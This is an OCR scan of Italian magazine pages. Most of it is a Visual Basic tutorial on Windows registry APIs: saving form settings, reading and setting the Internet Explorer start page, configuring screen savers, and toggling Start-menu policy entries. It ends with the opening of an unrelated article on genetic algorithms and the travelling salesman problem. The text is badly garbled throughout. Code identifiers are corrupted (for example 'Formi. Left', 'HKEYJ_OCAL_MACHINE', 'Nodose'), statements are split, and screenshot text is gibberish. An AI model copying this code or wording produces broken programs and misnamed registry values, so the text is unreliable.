Sectìon rappresenta il nome della sezione dell'albe- 
ro in cui è salvata la chiave (per capirci è un nodo). 
Key è il nome associato alla chiave. Default è il valo- 
re da restituire se la chiave selezionata è vuoto. Set- 
ting è la voce di valore associata alla chiave. Ricor- 
diamo che le funzioni primitive permettono di ritro- 
vare ed impostare soltanto valori di tipo stringa della 
sottochiave "HKEY_CURRENT_USER\Software\VB 
and VBA Program Settìngs". 



SALVARE I DATI DELLA 
FORM NEL REGISTRO 

Le funzioni primitive di Visual Basic possono essere 
utilizzare per archiviare nel registro i dati di configu- 
razione o di protezione di un'applicazione. Per 
esempio in esso potremmo memorizzare le scelte 
fatte dall'utente in un wizard, l'ultima volta che l'u- 
tente ha utilizzato il programma, il numero di giorni 
che l'ha utilizzato ecc. Nei passi seguenti descrivia- 
mo come archiviare la posizione (proprietà Left e 
Top) e le dimensioni di una Form {Width e Height). 
Per archiviare la posizione e la dimensione di una 
Form, nel registro; basta inserire in una procedura - 
per esempio nella FormJJnLoad - le istruzioni che 
permettono di salvare i seguenti dati: Formi. Left, 
Form l.Top, Formi. Width e Formi. Height. Le istru- 
zioni per fare questo sono le seguenti. 



dalla Form UnLoad. 



Private Sub Form_Unload(Cancel As Integer) 


SaveSetting App.Title, "Posizione", 


"Left", Formi. Left 


SaveSetting App.Title, "Posizione", 


"Top", Forml.Top 


SaveSetting App.Title, "Posizione", 


"Width", 

Formi. Width 


SaveSetting App.Title, "Posizione", 


"Height", 

Formi. Height 


End Sub 



Facciamo notare che App.Title è il nome del proget- 
to, nel nostro caso ioProgrammo e che Posizione è il 
nome della sottochiave, mentre "Left", "Top" ecc. so- 
no i nomi delle voci di registro create o modificate. I 
dati caratteristi della Form devono essere letti prima 
che venga visualizzata, per questo la procedura 
ideale è la Form_Load, nella quale bisogna inserire le 
istruzione che leggono i valori archiviati nel registro 



Private Sub Fc 


rm_Load() 






Formi. Left = 


GetSetting(App.Title, "Posizione", 








"Left" 


, 0) 


Forml.Top = 


GetSetting(App.Title, "Posizione", 








"Top" 


, 0) 


Formi. Width 


= GetSetting(App.Title, 


'Posizione", 






"Width' 


, Formi. Width) 


Formi. Height 


= GetSetting(App.Title, 


"Posizione", 






"height" 


Formi. Height) 


End Sub 




Notate l'utilizzo dei valori di default. 



LE FUNZIONI API 
PER IL REGISTRO 

Come accennato, quando si vuole interagire con tut- 
te le parti del registro di sistema bisogna ricorrere al- 
le funzioni API della libreria Advanced API Services - 
advapi32.dll — . Nella Tabella 2 sono introdotte le 
principali API per la gestione del registro. Invece, le 
API utilizzate negli esempi dell'articolo sono le se- 
guenti: RegOpenKeyEx, RegQueryValueEx, RegSetVa- 
lueEx e RegCloseKey. Le dichiarazioni dettagliate del- 
le funzioni, sono nel progetto allegato alla rivista. La 
sintassi della RegOpenKeyEx può essere schematiz- 
zata nel modo seguente: 

RegOpenKeyEx (hKey As Long, IpSubKey As String, 
ulOptions As Long, samDesired As Long, phkResult 

As Long) As Long 

HKey è l'handle di una delle chiavi principali, pre- 
sentate in Tabella 1; nel progetto di esempio per 
questi handle è stato definito il tipo ValorìKey Lp- 
SubKey è il nome esteso della sottochiave da aprire; 
i nomi delle sottochiavi utilizzate nel progetto sono 




I TUOI APPUNTI 



/Funzione 


Descrizione 


RegOpenKeyEx 


Apre la chiave specificata 


RegQueryValueEx 


Ritrova il dato e il tipo di una Voce della chiave 
aperta 


RegSetValueEx 


Imposta il dato e il tipo di una Voce associata alla 
chiave aperta 


RegCloseKey 


Chiude la chiave specificata 


RegDeleteValue Cancella un valore della chiave specificata 


RegDeleteKey Cancella una sottochiave 


RegEnumValue 


Enumera le sottochiavi della chiave specificata 


RegQuerylnfoKey 


Restituisce informazioni sulla chiave specificata 


RegGetKeySecurity 


Ritrova una copia del descrittore di sicurezza della 
chiave specificata 


RegCreateKeyEx 


Crea una chiave 


RegSaveKey Salva la chiave specificata e tutte le sottochiavi e 
voci in un nuovo file 


RegLoadKey 


Crea una sottochiave (delle chiavi HKEY USERS 
oppure HKEY LOCAL MACHINE) e vi carica i dati 
contenuti in un file 





http://www.ioprogrammo.it 



Dicembre 2005/ 73 ► 



VISUAL BASIC T 



Le API e il Registro di Sistema 




Uisual 
Basic 



G 



PARTI 
DEL REGISTRO 

Il Registro di sistema è 
una struttura ad albero 
(Tree) diviso in chiavi, 
sottochiavi (o chiavi se- 
condarie) e voci di va- 
lori. Una chiave è la 
cartella nell'Editor del 
Registro che viene vi- 
sualizzata nel Tree- 
View. Una Sottochiave 
è una chiave all'inter- 
no di un'altra. Una vo- 
ce di valore è una strin- 
ga di dati visualizzata 
nel ListView dell'Edi- 
tor. Una voce di valore 
è costituita da tre par- 
ti: il nome, il tipo di 
dati e il valore stesso. 
Il tipo di dato può es- 
sere REG DWORD, dati 
rappresentati da un nu- 
mero della lunghezza 
di 4 byte, REG SZ strin- 
ga di testo di lunghez- 
za fissa e altri tipi che 
non abbiamo usato nei 
nostri esempi. 



inserite in delle costanti. UlOptions è un parametro 
riservato da porre a zero. SamDesired è un parame- 
tro complesso che stabilisce il tipo di accesso alla 
chiave. PhkResult restituisce un puntatore alla chia- 
ve aperta; questo verrà utilizzato, nella RegQueryVa- 
lueEx, per leggere una voce di una sottochiave. La 
RegOpenKeyEx restituisce un codice errore o il valo- 
re zero. La RegQueiyValueEx e la RegSetValueEx pre- 
sentano una sintassi analoga. In particolare quella 
della RegQueryValueEx è la seguente: 

RegQueryValueEx (hKey As Long, IpValueName As 
String, IpReserved As Long, IpType As Long, IpData 
As Any, IpcbData As Long) As Long 

hKey è l'handle di una chiave aperta con la RegOpen- 
KeyEx, cioè è il parametro phkResult restituito dalla 
RegOpenKeyEx. IpValueName è il nome della voce di 
registro appartenente alla sotto chiave aperta. IpRe- 
served è un valore riservato da impostare a zero. Ip- 
Type serve per specificare tipo di dato da leggere 
dal registro, anche per questo parametro, nei nostri 
esempi, è stato definito un tipo nominato TipiDati. 
IpData è utilizzato come buffer per i dati ricevuti dal 
registro. IpcbData serve per specificare le dimensio- 
ni del buffer IpData. La sintassi della RegSetValueEx 
si deduce facilmente dalle cose scritte per RegQue- 
iyValueEx. Per quanto riguarda RegCloseKey biso- 
gna, soltanto, aggiungere che come parametro rice- 
ve l'handle della chiave aperta. 



File Modifica Visualizza 
Tipo API: 



Dichiarazioni _^J 



RegOpenKeyEx 

: V'r:: disonibu: 

ama 



RegQuerylnfoKey 

RegQueryValue 

RegQueryValueEx 

RegReplaceKey 

RegRe5toreKey 

Reg5aveKey 

ftegSe;Key5ecurity 

bfi':er:L: sdc/JÌOS'tìb. 



Pkòìk D=uar -■„■ ■■:':■.:. f'.:-u v.e Y r-:y ! :. .■ . .A- " ■■■ov- ■::')? C' A--i : - 
"Peg'Ipenre L pf uhi ey As 

Sb'ing: ByVsi i.iiOjjlioriS As I :'■::., ByVói s*<TiOesii erj ;■>■; ;...ong, 
]iih-<'-r,-S:: Ai Lei" .;/ As Long 



A 

- 


! Aggiungi j 


- Area di validità 

C" Pubblica 
C Privata 






Rimuovi 




Cancella 



Fig. 1: II visualizzatore API di Visual Basic 



HACK INTERNET 
EXPLORER 

In questo paragrafo descriviamo la funzione Leggi- 
Voce che permette di leggere i dati di una voce di 
registro passata come parametro. In particolare la 
voce considerata contiene l'URL della pagina inizia- 
le di IE. Questa funzione insieme a due tipi e a delle 
costanti (mostrati in seguito) va inserita in un mo- 
dulo BAS. Nel quale, inoltre, vanno inserite le dichia- 
razioni delle funzioni RegOpenKeyEx, RegQueryVa- 
lueEx, RegCloseKey che trovate nel progetto allegato 



alla rivista o nel visualizzatore API.I tipi e le costanti 
da dichiarare sono descritti di seguito: 

Public Const Main = "Software\Microsoft\Internet 

Explorer\Main" 
Public Const RW = 131135 
Enum TipiDati 

vbDWORD = &H4 

vbString = &H1 

End Enum 



Enum ValoriKey 



HKEY_CLASSES_ROOT = &H80000000 
HKEY_CURRENTJJSER = &H80000001 



HKEYJ_OCAL_MACHINE = &H80000002 



End Enum 





rifir^r it^j 




^HAIOIkT 


E 


e Modifica Visualizza 








: É-O Default HT 

♦ _] Default M 
: È-Q Desktop 

1-QDocuKnt 

_J Download 

: É-O Explorer B 

♦ _J Extension 
;-QHelp_Men 

D Informati* 

! É-CJ IntelliForm 

: É-Q internatio 

: é- £3 iJPjf — 

I S-QFeatu 


ML Editor A 
TML Edit 

■ 
_URLs 

nBar 


Nome Tipo 


1 Dati -*> 


,.JShow_StatusBar REG_5Z 
EJ!)5how_ToolBar REGJZ 
<afi]5how_URLin5tat... RB3J2 
'aJ^howJJRLToolBar RHS.J32 
.^ShowedCheckBr... REG_SZ 
S^J5how<ioButton REG_5Z 
...JSmoothScroll REG_DWORD 
|Start Page REG 5Z 


yes 
yes 

Ves 

yes 

0x00000001 (1) 

htt p : / f w ww . ioprogrammo.it 


^Control — 


■JJStatusBarOther REG_DWORD 
;_-]Use Form5uggest REG_5? 
&\Use Search Asst REG SZ 
laSl, i„ r,l„ B „„ r„l dk tv 


0x00000001 (1) 

v 


< 


1 


u 


«^^■UBHHIII 


> 




orse del computer^HKEY 


CURRENTJJSER Si 1 iter net Explorer^Ma 





Fig. 2: La voce di registro che contiene la pagina ini- 
ziale di IE 



Il primo Enum racchiude i tipi di valori che possono 
contenere le voci di registro, il secondo, invece, rac- 
chiude gli handle delle chiavi principali del registro. 
La costante RW contiene il valore che imposta i pri- 
vilegi di accesso alle sottochiavi. Infine la Main è una 
costante impostata con il Path della sottochiave che 
contiene la voce che c'interessa. Ora possiamo pre- 
sentare il codice della funzione LeggiVoce. La Fun- 
zione LeggiVoce, ovviamente, presenta i seguenti pa- 
rametri: una Key Radice, una Key secondaria, la voce 
del registro da leggere e il relativo tipo di dato. 
Dunque il codice della procedura è il seguente: 

Public Function leggivoce(KeyRadice As ValoriKey, _ 
KeySecondaria As String, voce As String, _ 
tipovalore As TipiDati) As Variant 
Dim nSize As Long 
Dim RisHan As Long 

RegOpenKeyEx KeyRadice, KeySecondaria, 0&, RW, 
RisHan 

Select Case tipovalore 
Case 1 

Dim strBuffer As String 
strBuffer = Space(255) 
RegQueryValueEx RisHan, voce, 0, 1, _ 
ByVal strBuffer, Len(strBuffer) 
leggivoce = Left(strBuffer, Len(strBuffer) - 1) 
Case 4 



»> 74 /Dicembre 2005 



http://www.ioprogrammo.it 



Le API e il Registro di Sistema H ▼ VISUAL BASIC 



Dim IngBuffer As Long 



RegQueryValueEx RisHan, voce, 0, 4, _ 



IngBuffer, Len(lngBuffer) 



leggivoce = IngBuffer 



End Select 



RegCIoseKey RisHan 



"manca gestione errori 



End Function 



Utente 

Meta 



Nome computet 



m 

P 



Guida in linea e supporto 
tecnica 



r Help 
V Ricerca 
r Chiudi 



tttptiittt 



Fig. 3: La Scheda sistema della Form 

Nella LeggiVoce è invocata la RegOpenKeyEx che nel- 
la RisHan restituisce l'handle della chiave aperta. La 
RisHan, come accennato, è utilizzata nella RegQue- 
ryValueEx. Con il SelectCase, invece, impostato sul 
parametro tipovalore, si stabilisce il tipo di dato da 
leggere con la RegQueryValueEx. La funzione Leggi- 
Voce può essere invocata con il codice seguente. 

Private Sub Commandl_Click() 

MsgBox (leggivoce(HKEY_CURRENT_USER, _ 

Main, "Start Page", vbString)) 
End Sub 

Dove Start Page è nome della voce di registro che 
c'interessa. 



PERSONALIZZARE 

IL SISTEMA OPERATIVO 

Con questo esempio mostriamo come, con le Re- 
gistry Functions, è possibile personalizzare alcune 
funzionalità degli Screen Saver e della barra delle 
Applicazioni e come è possibile accedere ad infor- 
mazioni, sull'ambiente operativo, custodite nel regi- 
stro. Il progetto è composto da un modulo Bas e da 
una form che grazie ad un controllo SSTab è orga- 
nizzata in due parti. Nella prima parte, o scheda, 
sono posti i comandi che permettono d'impostare la 
pagina iniziale di Internet Explorer e lo Screen Saver. 
Quest'ultimo può essere scelto con la finestra apri 
file di un controllo CommonDialog. Per lo Screen 



Saver SSmarque.scr (testo scorrevole), inoltre, sono 
presenti i comandi per impostare i seguenti para- 
metri: velocità, dimensione carattere e naturalmen- 
te il testo scorrevole. Sulla seconda scheda dell'SS- 
Tab, invece, sono presenti i controlli che visualiz- 
zano il nome del computer e dell'utente e i comandi 
per rendere invisibili alcune voci della barra dell'ap- 
plicazioni di Windows quali Cerca file, Chiudi Sessio- 
ne e Guida in linea. 

Per passi presentiamo come organizzare il progetto 
e il codice di gestione dei comandi.Innanzitutto 
dobbiamo impostare, in delle costanti, le sottochia- 
vi del registro usate negli esempio. 



REGISTRY EDITOR 




Per consultare o modi- 
ficare il registro di si- 
stema si può usare 
l'editor regedit.exe 
(regedt32.exe per 
Windows NT). 
Quest'applicazione 
può essere avviata con 
il comando Esegui, 



selezionabile dal 
pulsante Start. L'editor 
si presenta nello stile 
di "Esplora Risorse" 
con a sinistra un 
TreeView che mo-stra 
le chiavi e le sotto- 
chiavi ed a destra una 
ListView che mostra le 



informazioni associate 
alla parte di albero 
selezionata. L'editor 
permette di ricercare, 
creare ed eliminare i 
rami dell'albero e le 
voci di valori (informa- 
zioni contenute nelle 
righe del ListView). 



Come visto nel precedente esempio per impostare 
Internet Explorer usiamo la seguente sottochiave: 

Public Const main = "Software\Microsoft\Internet 

Explorer\Main" 

Invece per gli Screen Saver usiamo: 

Public Const desktop = "Control Panel\Desktop" 
Public Const SSMarquee = "Control Panel\Screen 

Saver.Marquee" 




GLOSSARIO 




Fig. 4: Le Librerie del progetto 

Per modificare i menu di Windows usiamo: 

Public Const Explorer = "Software\Microsoft 

\Windows\CurrentVersion\Policies\Explorer" 

Infine per leggere i dati del computer possiamo 
usare: 



HIVE 

Gli hive sono parti del 
registro di sistema 
contenuti in dei file. 
Gli hive sono archiviati 
nella cartella 
...\System32\Config e 
nella cartella ...\Profili 
\nomeutente, quest'ul- 
tima in realtà contiene 
soltanto i file del pro- 
filo utente di ogni 
utente del computer. 
In Windows 95/98/Me, 
in realtà, il contenuto 
del registro di sistema 
è salvato all'interno di 
due file nominati 
user.dat e system.dat. 



http://www.ioprogrammo.it 



Dicembre 2005/ 75 ► 



VISUAL BASIC T 



Le API e il Registro di Sistema 




L 



Basic 



Public Const CurrentVersion = "SOFTWARE 

\Microsoft\Windows nt\CurrentVersion" 

Vi consigliamo di verificare nel registro le sottochia- 
vi elencate. 



strBuffer = Valore 




Pagina Iniziale ■ Internet Explorer- 



Leggi URL Imposta UHL 



Pai-rrrdr icitfén 'i.-vr iSriidi^p-je i:Cr 



'■■■:::/■::■:. Dimensione- C Mìrer? 



Cerca Imposta 



Fig. 5: La Form in fase di progettazione 

Create un nuovo progetto con un modulo BAS, una 
Form e referenziate le librerie: Microsoft Common 
Dialog Control 6.0 e Microsoft Tabbed Dialog Control 
6.0. Sulla form predisponete un controllo SSTAB con 
due schede nominate Screen e Sistema. Il Modulo 
BAS, invece, è analogo a quello introdotto nell'esem- 
pio che spiega come leggere l'URL di Internet 
Explorer, ad esso, infatti, basta aggiungere la funzio- 
ne che permette d'impostare il valore di una voce 
del registro cioè la seguente: 

Public Function ImpostaVoce(KeyRadice As ValoriKey, _ 
KeySecondaria As String, voce As String, _ 
Valore As String, tipovalore As TipiDati) As Boolean 
Dim RisHan As Long 
RegOpenKeyEx KeyRadice, KeySecondaria, 0, RW, 

RisHan 
Select Case tipovalore 
Case 1 
Dim strBuffer As String 




Il registro di sistema, è 
stato introdotto, con 
molte limitazioni, già 
in Windows 3.1 (in 
realtà allora si parlava 
di database di registra- 
zione). 

L'uso del Registro, 
però, ha avuto una 
notevole impennata 
con i sistemi operativi 



Windows 9x, attual- 
mente un backup del 
registro può superare 
tranquillamente i 
100M byte. 

Per quanto riguarda le 
dimensioni degli ele- 
menti del registro pre- 
cisiamo che la lun- 
ghezza massima del 
nome di una chiavi è 



255 caratteri. 
Le dimensioni massi- 
me del nome di un va- 
lore, invece, sono le 
seguenti: 16383 per 
Windows 2003 e XP; 
260 caratteri ANSI o 
16383 caratteri Unico- 
de per Windows 2000; 
255 caratteri per 
Windows Me/98/95. 



RegSetValueEx RisHan, voce, 0, 1, _ 



ByVal strBuffer, Len(strBuffer) 



Case 4 



Dim IngBuffer As Long 



IngBuffer = Valore 



RegSetValueEx RisHan, voce, 0, 4, _ 



IngBuffer, Len(lngBuffer) 



End Select 



RegCIoseKey RisHan 



Imposta Voce = True 



'manca gestione errori 



End Function 

La ImpostaVoce è analoga alla LeggiVoce tranne, 
naturalmente il parametro Valore e l'utilizzo della 
RegSetValueEx. Passiamo a descrivere la Form sulla 
quale, come accennato, bisogna porre un Common- 
Dialog e una SSTab. Sulla scheda Screen, delle SSTab, 
predisponete due CommandButton e un Textbox per 
leggere ed impostare la pagina iniziale di IE. Poi altri 
quattro TextBox e due CommandButton da utilizza- 
re per cercare lo Screen Saver ed impostarlo. Sulla 
Scheda Sistema, invece, inserite due Textbox, per 
mostrare il nome dell'utente e del computer e tre 
CheckBox e un CommandButton per segnalare le vo- 
ci della Barra di Windows da disabilitare o abilitare. 
Per rendere il tutto più accattivante colorate la form 
ed inserite dei frame e delle immagini. A questo 
punto possiamo introdurre il codice che permette 
d'impostare lo Screen Saver. Iniziamo dal pulsante 
Cerca. 

Private Sub Cerca_Click() 
With CommonDialogl 
.Filter = "(*.scr)[*.scr" 
.InitDir = "C:\WINDOWS\System32" 
.ShowOpen 

If .FileName <> "" Then 
txtpath = .FileName 
If . FileTitle = "ssmarque.scr" Then 
FrameSS.Enabled = True 
leggivaloriSS 
"carica i tre txtbox 
Else 

FrameSS.Enabled = False 
txtsize = "" 
TxtTesto = "" 
txtvelocita = "" 
End If 
End If 
End With 
End Sub 



Nella Cerca_Click, FrameSS è il frame che contiene i 
controlli per impostare lo Screen Saver ssmarque.scr, 
per questo è attivato o disattivato. Dopo aver scelto 
lo Screen Saver, ed eventualmente modificato i pa- 



»> 76 /Dicembre 2005 



http://www.ioprogrammo.it 



Le API e il Registro di Sistema H ▼ VISUAL BASIC 



rametti, possiamo impostarlo nel registro, utilizzan- 
do la procedura associata al pulsante ImpostaSC di 
seguito riportata. 



Private Sub ImpostaSC_Click() 


ImpostaVoce HKEY_CURRENTJJSER, 


desktop, _ 


"SCRNSAVE.EXE", txtpath, vbString 


If FrameSS.Enabled = True Then 


ImpostaVoce HKEY_CURRENTJJSER, 


SSMarquee, _ 


"Speed", txtvelocita, vbString 


ImpostaVoce HKEY_CURRENTJJSER, 


SSMarquee, _ 


"size", txtsìze, vbString 


ImpostaVoce HKEY_CURRENTJJSER, 


SSMarquee, _ 


"text", TxtTesto, vbString 


End If 


End Sub 



La ImpostaSC utilizza la ImpostaVoce per inserire il 
nome dello Screen Saver nella voce di registro 
"SCRNSAVE.EXE", poi controlla se FrameSS è attivo e 
quindi imposta i parametri dello ssmarque.scr. I dati 
dello Screen Saver impostato in Windows, in realtà, 
sono caricati all'avvio dell'applicazione con il codice 
previsto nella Form_ Load. Il codice in questione 
non lo presentiamo, dato che lo trovate nel progetto 
allegato alla rivista. Quando si clicca suWSSTab con- 
viene prevedere del codice che permette di caricare 
gli elementi della scheda Sistema, cioè le seguenti 
istruzioni. 



Organization cioè il nome computer; NoFind cioè lo 
stato del menu Ricerca (0 attivo, 1 disattivo); 
NoSMHelp lo stato del menu che abilita l'Help di 
Windows ed infine Nodose la voce di registro che 
stabilisce se è visibile il pulsante chiudi sessione. 
In conclusione descriviamo il codice da prevedere 
nel pulsante impostamenu e che permette di scrive- 
re nelle voci di registro - NoFind, NoSMHelp e 
Nodose - i valori dei relativi CheckBox, cioè Check- 
Rie, CheckHel e CheckChi. 

Private Sub impostamenu_Click() 
ImpostaVoce HKEY_CURRENT_USER, _ 
Explorer, "NoFind", CheckRic.Value, vbDWORD 
ImpostaVoce HKEY_CURRENT_USER, _ 
Explorer, "NoSMHelp", CheckHel. Value, vbDWORD 
ImpostaVoce HKEY_CURRENT_USER, _ 
Explorer, "Nodose", CheckChi. Value, vbDWORD 

End Sub 



File Modifica Visualizza Preferiti ? 












_| AppEvents 
fi "creole 
.fi Contml Panel 
É-Q Acce.sibility 
E □ Appearance 
_J Color. 
;_] Current 
O Cursore 
D Cu.tom Color. 


Nome 


Tipo 


Dati 


» 


ÌR*|p.aintDesktopVer,, 
@>] Pattern Upg rad e 
^PoweiOff Attive 
lag PowerOff Timeout 
£5] 5c r ee nSave Attive 
ESScreenSaverIsS.. 
r"] ScreenSaveTirne, , 
KisCRNSAVE.EXE 


REG_DWORD 
REG_SZ 
REG_SZ 
RBS 53 
REG_5Z 
REG_5Z 
REG_SZ 
REG SZ 


0x00000000 (0) 

TRUE 





600 

C:\WINDOW5\systern32 


— . 


■ O WindowMetiic 
Odon'tload 
BÙ Infraied v 


I^TileWdlpaper 
^U.erPreference,,, 
EJwaltToKIIIAppTI,,, 
ahi u, -Il 


REGJZ 
REG_SZ 




■:k Jìo; so 

20000 


-,^ — a 


< 


M > 


< 






> 


Risorse del computer ■; Kt!-. CJWi N: JJ5ER\Control Pane ^Desktop 




Fig. 6: La voce di registro dello Screen Saver 



Private Sub SSTabl_Click(PreviousTab As Integer) 



If SSTabl.Tab = 1 And txtutente 



Then 



Ca ricavai 



End If 



End Sub 

Nella SSTablJdick si caricano gli elementi della 
scheda Sistema soltanto se, effettivamente, è stata 
selezionata la scheda in questione (SSTabl.Tab = 1) 
e il TextBox che contiene il nome dell'utente è vuoto. 
La funzione che carica gli elementi della scheda 
Sistema è la seguente. 

Private Sub CaricaVal() 

txtutente = leggivoce(HKEY_LOCAL_MACHINE, _ 
CurrentVersion, "RegìsteredOwner", vbString) 
Txtorg = leggivoce(HKEYJ_OCAL_MACHINE, _ 
CurrentVersion, "RegisteredOrganization", vbString) 
Checkric.Value = leggivoce(HKEY_CURRENT_USER, _ 
Explorer, "NoFind", vbDWORD) 

Checkhel.Value = leggivoce(HKEY_CURRENT_USER, _ 
Explorer, "NoSMHelp", vbDWORD) 
Checkchi.Value = leggivoce(HKEY_CURRENTJJSER, _ 
Explorer, "Nodose", vbDWORD) 

End Sub 



Con la CaricaVal sono letti i valori delle seguenti voci 
RegìsteredOwner cioè nome utente; Registered- 



CONCLUSIONI 

Abbiamo visto che conoscendo le varie parti del re- 
gistro di sistema e le Registry Functions è possibile 
personalizzare diverse caratteristiche del sistema 
operativo. Inoltre, abbiamo capito che registro è 
molto "delicato" e bisogna prestare la massima at- 
tenzione quando si apportano delle modifiche. 

Massimo Autiero 



BACKUP E RIPRISTINO 



Per fare il Backup del 
registro di sistema po- 
tete utilizzare un pro- 
gramma di Backup 
qualsiasi, ad esempio 
Backup fornito con 
Windows, oppure, in 
alternativa, esportare 
il contenuto del regi- 
stro o di parte di esso 
(con il comando File 
/esporta presente in 
RegEdit) in un file hive 
o in un file con esten- 
sione reg. 
Il ripristino del conte- 



nuto del registro può 
essere fatto in vari 
modi, in ogni caso 
prestate molta at- 
tenzione a questo tipo 
di operazione. Per 
esempio se il registro 
è esportato in un file, 
per ripristinarlo biso- 
gna utilizzare il co- 
mando importa (file 
/importa). Quando, in- 
vece, il registro si rovi- 
na può essere ripristi- 
nare con i seguenti 
passi. 



• Chiudere la sessione 
di lavoro. 

• Scegliere Riavvia (tra 
le opzioni presenti sul- 
la maschera) e cliccare 
OK. 

• Prima che il sistema 
operativo riparte 
tenere premuto il 
tasto F8. 

• Sulla maschera che 
compare, con i tasti 
freccia, selezionare 
l'opzione Ultima con- 
figurazione valida e 
premere invio. 



http://www.ioprogrammo.it 



Dicembre 2005/ 77 ► 



BACKSTAGE T ■ Algoritmi genetici 



Riprodurre il DIMA 
di un viaggiatore 

In questo articolo risolveremo con un metodo "Intelligente" 

un problema di tale complessità che normalmente richiederebbe ore 

e ore di calcolo e un gran numero di risorse 




Q CD G WEB 

Senetics.zip 



•^ -'' ' ' 



n 




REQUISITI 



n.i,uami; 



55 J2SE 



. Java 2 Standard 
Edition, Jgap 



^^\m\^3. 



Tempo di realizzazione 



In un articolo precedente abbiamo introdot- 
to un campo dell'intelligenza artificiale che 
viene indicato con il nome di "algoritmi ge- 
netici". Ora, dopo aver ripetuto i concetti fonda- 
mentali che stanno alla base del loro funziona- 
mento, cercheremo di inquadrare meglio il con- 
testo in cui essi sono utilizzati e ne forniremo in- 
fine un'applicazione concreta che sia in grado di 
trovare un ciclo hamiltoniano, noto anche come 
problema del commesso viaggiatore. 
Per fare questo avremo bisogno di prendere un 
po' di confidenza con argomenti e strutture dati 
come la complessità algoritmica ed i grafi. Pre- 
senteremo tutto questo nella maniera più sem- 
plice ed informale possibile. Inoltre, per chi di 
voi non ancora avuto l'occasione di affrontare 
queste tematiche, state pur tranquilli che, prima 
o poi, nella vostra vita da informatici affrontere- 
te dei problemi che si basano su di esse. Quindi, 
tanto vale cogliere questo spunto per comincia- 
re ad averne un'infarinatura. 



UHI LABORATORIO 
DI BIOLOGIA 
NEL PROPRIO PC 

L.M. Adleman, il noto autore dell'algoritmo di 
criptazione RSA, in un suo articolo descriveva 
come si fosse avvicinato alle ricerche sul DNA, il 
suo background da matematico-informatico 
l'aveva portato ad avere idee del tutto originali 
ma che mal riusciva a comunicare ai suoi amici 
biologi. 

Ciò che era illuminante nel suo articolo fu la 
constatazione che solitamente diamo per scon- 
tato che un calcolatore sia necessariamente 
composto da una "fitta schiera" di transistor, tut- 
tavia il DNA può essere visto come uno strumen- 
to per il calcolo computazionale ben più antico 
della architettura di un moderno computer. Per 



tale motivo i principi che governavano la capa- 
cità di calcolo del DNA dovevano poter essere 
applicati a un calcolatore. Ciò di cui aveva biso- 
gno Adleman per una conferma di questa intui- 
zione era un problema che fosse un "classico" 
per l'informatica, in modo tale da non poter es- 
sere accusato d'aver scelto un problema ad hoc 
per gli strumenti a sua disposizione, ma che nel 
contempo sfruttasse appieno alcune proprietà 
del DNA. 

La scelta cadde sul problema del commesso 
viaggiatore che fa parte dei problemi NP-com- 
pleti. Quindi prima di continuare definiamo 
questo problema e spieghiamo cosa significhi 
NP-completo. 



LA COMPLESSITÀ 
ALGORITMICA 

Sappiamo tutti che, in generale, per un proble- 
ma possono esistere molteplici soluzioni. È na- 
turale quindi che, fin dagli albori dell'informati- 
ca, si sia sentita la necessità di valutare in manie- 
ra rigorosa la bontà di ogni soluzione, o algorit- 
mo, indipendentemente dalla macchina su cui 
viene fatto girare. Per ottenere ciò ci si basa sulla 
cosiddetta macchina di Turing, che possiamo 
considerare "la macchina ideale" sulla quale si 
basa ogni computer. Senza addentrarci nei det- 
tagli diciamo che Turing ha ideato una macchina 
a stati del tutto teorica che, grazie ad un nastro in 
cui è possibile leggere e scrivere gli stati che la 
macchina stessa assume, è in grado di risolvere 
qualsiasi algoritmo numerico. Così per misurare 
la complessità di un algoritmo possiamo adotta- 
re come unità di misura un singolo avanzamen- 
to che il nastro stesso deve compiere per effettu- 
re l'operazione richiesta. In questa maniera 
chiunque inventi un algoritmo può anche calco- 
larne il suo costo in termini computazionali e 



»> 78 /Dicembre 2005 



http://www.ioprogrammo.it 



Algoritmi genetici ■ T BACKSTAGE 



confrontarlo con altri algoritmi già presenti. 
Un altro aspetto di facile intuizione è che il costo 
di un algoritmo dipende anche dalla disposizio- 
ne dei dati su cui esso opera. 
Facciamo un esempio banalissimo: scriviamo un 
algoritmo che cerchi un determinato valore al- 
l'interno di un array e ne restituisca la posizione; 
tradotto in codice sarebbe: 



int find(double[] 


array 


doubl 


B tO_fi 


nd){ 


for(int i=0; iorray. 


ength; 


i+ + ) 




if(array[i] = 


= to_ 


find) 






return i; 


return -1; 


} 



Supponiamo che il valore che cerchiamo sia 
sempre presente e che quindi non cadremo mai 
nel caso di restituire -1; è evidente che, posta ATla 
lunghezza dell'array, se il valore è memorizzato 
nella posizione il costo sarebbe pari ad 1, d'al- 
tra parte, se fosse l'ultimo, il costo sarebbe pari 
ad N. Quindi in generale la complessità non può 
essere considerata una costante, bensì una fun- 
zione che indicheremo con T(N). A noi interes- 
serà sempre considerare il caso peggiore in cui 
possiamo trovarci, in particolare in questo caso 
saremo interessati non tanto alla formulazione 
analitica della funzione stessa ma solo al suo an- 
damento verso l'infinito. Questo viene indicato 
con il simbolo O, che si legge "o grande" ed indi- 
ca l'andamento delle funzioni verso l'infinito. Ad 
esempio 0(N) indica un algoritmo di comples- 
sità lineare, O(xf) indica un algoritmo la cui com- 
plessità cresce come un quadrato. 
Ad esempio il polinomio p 1 (x)=1000-x+x 2 è un 
0(x 2 ), il grafico di Figura 1 spiega questo fatto 
molto bene: la curva rossa è il polinomio pi 
mentre quella verde illustra l'andamento del 
polinomio x 2 ; come si può notare all'aumentare 
di x le due curve si avvicinano fino a diventare 
indistinguibili all'infinito. 




Una volta chiarito questo concetto, diciamo che 
in informatica sono considerati algoritmi a tutti 
gli effetti quelli con una complessità non supe- 
riore a N; non perché ad esempio un algoritmo 
che abbia una complessità maggiore non porti 
ad una soluzione del problema, ma perché è così 
"dispendioso" trovarla che nella pratica non è 
una strada percorribile, 



IL PROBLEMA 
DEL COMMESSO 
VIAGGIATORE 

Veniamo ora al problema che vogliamo risolvere, 
quello del commesso viaggiatore. 
La storiella è semplice: un commesso viaggiatore 
deve effetture delle consegne su tutte le città a lui 
assegnate, naturalmente per semplificare il pro- 
prio lavoro vorrebbe poter toccare tutte le città 
con un unico giro (cioè senza essere costretto a 
dover tornare indietro su una città su cui è già 
passato per doverne raggiungerne un'altra) e che 
sia complessivamente il più breve possibile; que- 
sto percorso è anche detto ciclo hamiltoniano. 
Prendiamo come esempio il grafo riportato in 
Figura 2. Un grafo è "un'entità" matematica for- 
mata da dei nodi e degli archi, ogni arco può 
collegare due soli nodi tra loro. 




IL COMMESSO 
VIAGGIATORE 

Non pensate che il pro- 
blema del commesso 
viaggiatore sia sempli- 
cemente un giochino 
per far divertire gli in- 
formatici ed i matema- 
tici. È un problema non 
